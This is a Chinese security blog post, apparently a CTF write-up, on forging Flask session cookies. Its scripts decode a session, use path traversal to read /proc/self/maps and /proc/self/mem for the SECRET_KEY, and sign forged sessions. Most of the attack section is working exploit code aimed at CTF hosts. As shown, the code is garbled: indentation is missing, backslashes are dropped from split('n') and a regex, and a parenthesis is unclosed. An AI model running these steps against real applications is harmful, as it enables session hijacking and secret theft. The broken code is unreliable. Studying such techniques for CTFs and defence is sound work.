Flask框架-session伪造

admin 2025年3月5日21:05:23评论14 views字数 3836阅读12分47秒阅读模式

Flask框架-session伪造

原理

Flask中session可以直接保存在客户端,就会引起相应得安全问题

姿势

  1. 破解session
  2. 得到secret_key
  3. 伪造session

Setp1 破解session

脚本破解

#!/usr/bin/env python3

import sys

import zlib

from base64 import b64decode

from flask.sessions import session_json_serializer

from itsdangerous import base64_decode

def decryption(payload):

payload, sig = payload.rsplit(b'.', 1)

payload, timestamp = payload.rsplit(b'.', 1)

decompress = False

if payload.startswith(b'.'):

payload = payload[1:]

decompress = True

try:

payload = base64_decode(payload)

except Exception as e:

raise Exception('Could not base64 decode the payload because of '

'an exception')

if decompress:

try:

payload = zlib.decompress(payload)

except Exception as e:

raise Exception('Could not zlib decompress the payload before '

'decoding the payload')

return session_json_serializer.loads(payload)

if __name__ == '__main__':

print(decryption("eyJ1c2VybmFtZSI6eyIgYiI6IlozVmxjM1E9In19.XyZ3Vw.OcD3-l1yOcq8vlg8g4Ww3FxrhVs".encode()))

step2 获得secret_key

  1. config中找app.config[‘SECRET_KEY’]

2、/proc/self/maps+/proc/self/mem+脚本获得secret_key

脚本1:

# coding=utf-8

#----------------------------------

###################################

#Edited by [email protected]

###################################

#----------------------------------

import requests

import re

import ast, sys

from abc import ABC

from flask.sessions import SecureCookieSessionInterface

url = "http://61.147.171.105:65402/"

#此程序只能运行于Python3以上

if sys.version_info[0] < 3: # < 3.0

raise Exception('Must be using at least Python 3')

#----------------session 伪造,单独用也可以考虑这个库: https://github.com/noraj/flask-session-cookie-manager ----------------

class MockApp(object):

def __init__(self, secret_key):

self.secret_key = secret_key

class FSCM(ABC):

def encode(secret_key, session_cookie_structure):

#Encode a Flask session cookie

try:

app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))

si = SecureCookieSessionInterface()

s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)

except Exception as e:

return"[Encoding error] {}".format(e)

raise e

#由/proc/self/maps获取可读写的内存地址,再根据这些地址读取/proc/self/mem来获取secret key

s_key = ""

bypass = "../.."

#请求file路由进行读取

map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")

map_list = map_list.text.split("n")

for i in map_list:

#匹配指定格式的地址

map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)

if map_addr:

start = int(map_addr.group(1), 16)

end = int(map_addr.group(2), 16)

print("Found rw addr:", start, "-", end)

#设置起始和结束位置并读取/proc/self/mem

res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")

#用到了之前特定的SECRET_KEY格式。如果发现*abcdefgh存在其中,说明成功泄露secretkey

if"*abcdefgh"in res.text:

#正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefgh

secret_key = re.findall("[a-z0-9]{32}*abcdefgh", res.text)

if secret_key:

print("Secret Key:", secret_key[0])

s_key = secret_key[0]

break

脚本二:

将 /proc/self/maps 中内容存储在 test.txt 中,用来执行脚本:

import re

import requests

maps = open('攻防世界-catcat-new/test.txt'# 打开名为 'test.txt' 的文件并赋值给变量 maps

b = maps.read() # 读取文件内容并赋值给变量 b

lst = b.split('n'# 根据换行符 'n' 将文件内容拆分为列表,并赋值给变量 lst,映射表中的内容是一行一行的。

for line in lst: # 遍历列表 lst 中的每一行内容

if'rw'in line: # 如果当前行包含 'rw','rw' 代表该内存区域可读可写,'r'代表可读,'w'代表可写

addr = re.search('([0-9a-f]+)-([0-9a-f]+)', line) # 使用正则表达式在当前行中搜索地址范围并保存到变量 addr 中

start = int(addr.group(1), 16) # 将地址范围的起始地址从十六进制转换为十进制,并赋值给变量 start

end = int(addr.group(2), 16) # 将地址范围的结束地址从十六进制转换为十进制,并赋值给变量 end

print(start, end) # 打印起始地址和结束地址

# 构造请求URL,用于读取 /proc/self/mem 文件的特定区域

url = f"http://61.147.171.105:52968/info?file=../../../proc/self/mem&start={start}&end={end}"

# 发送 GET 请求并获取响应

response = requests.get(url)

# 使用正则表达式从响应文本中找到符合指定格式的 SECRET_KEY

secret_key = re.findall("[a-z0-9]{32}*abcdefgh", response.text)

# 如果找到了 SECRET_KEY,则打印并结束循环

if secret_key:

print(secret_key)

break

伪造session

GitHub项目:

GitHub - noraj/flask-session-cookie-manager: :cookie: Flask Session Cookie Decoder/Encoder

命令语句:

解密:

python flask_session_cookie_manager3.decode -s "serect_key" -c "session"(session通过抓包获取)。

加密:

python flask_session_cookie_manager3.encode -s "serect_key" -t "data" (data为想要修改的数据)。

原文始发于微信公众号(泷羽Sec-信安吗喽):Flask框架-session伪造

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月5日21:05:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Flask框架-session伪造http://cn-sec.com/archives/3796763.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息